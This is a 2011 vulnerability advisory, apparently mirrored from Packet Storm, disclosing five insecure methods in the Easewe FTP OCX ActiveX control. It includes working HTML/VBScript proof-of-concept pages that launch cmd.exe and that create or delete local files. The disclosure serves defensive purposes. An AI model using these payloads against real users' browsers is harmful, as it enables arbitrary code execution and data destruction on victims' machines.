Easewe FTP 4.5.0.9 Insecure Method

🗓️ 25 Jun 2011 00:00:00Reported by High-Tech Bridge SAType
packetstorm🔗 packetstormsecurity.com👁 23 Views
Easewe FTP 4.5.0.9 Insecure Methods, High Ris
`Vulnerability ID: HTB23015  
Reference: http://www.htbridge.ch/advisory/easewe_ftp_ocx_activex_control_execute_insecure_method.html  
Product: Easewe FTP OCX ActiveX Control  
Vendor: Easewe Software ( http://www.ftpocx.com )   
Vulnerable Version: 4.5.0.9 and probably prior  
Tested on: 4.5.0.9  
Vendor Notification: 01 June 2011   
Vulnerability Type: ActiveX Control Insecure Method  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Easewe FTP OCX ActiveX Control, which can be exploited to potentially compromise a user's system.  
  
1) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "Execute()" method. This can be exploited to execute arbitrary local files via specially crafted parameters passed to the affected method.   
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
Sub Boom()  
arg1="c:\windows\system32\cmd.exe"  
arg2=""  
arg3=1  
target.Execute arg1 ,arg2 ,arg3  
End Sub  
</script>  
</html>   
  
  
2) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "Run()" method. This can be exploited to execute arbitrary local files via specially crafted parameters passed to the affected method.   
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
Sub Boom()  
arg1="c:\windows\system32\cmd.exe"  
arg2=""  
arg3=1  
target.Run arg1 ,arg2 ,arg3  
End Sub  
</script>  
</html>   
  
  
3) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "CreateLocalFile()" method. This can be exploited to create empty files in the context of the current user.   
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_create"  
target.CreateLocalFile arg1  
End Sub  
  
</script>  
</html>   
  
  
4) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "CreateLocalFolder()" method. This can be exploited to create arbitrary folders in the context of the current user.   
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="Directorypath\Directory"  
target.CreateLocalFolder arg1  
End Sub  
  
</script>  
</html>   
  
  
5) The vulnerability is caused due to the EaseWeFtp.FtpLibrary ActiveX control (EaseWeFtp.ocx) including the insecure "DeleteLocalFile()" method. This can be exploited delete files in the context of the current user.   
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_delete"  
target.DeleteLocalFile arg1  
End Sub  
</script>  
</html>   
  
  
`
25 Jun 2011 00:00Current
7High risk
Vulners AI Score7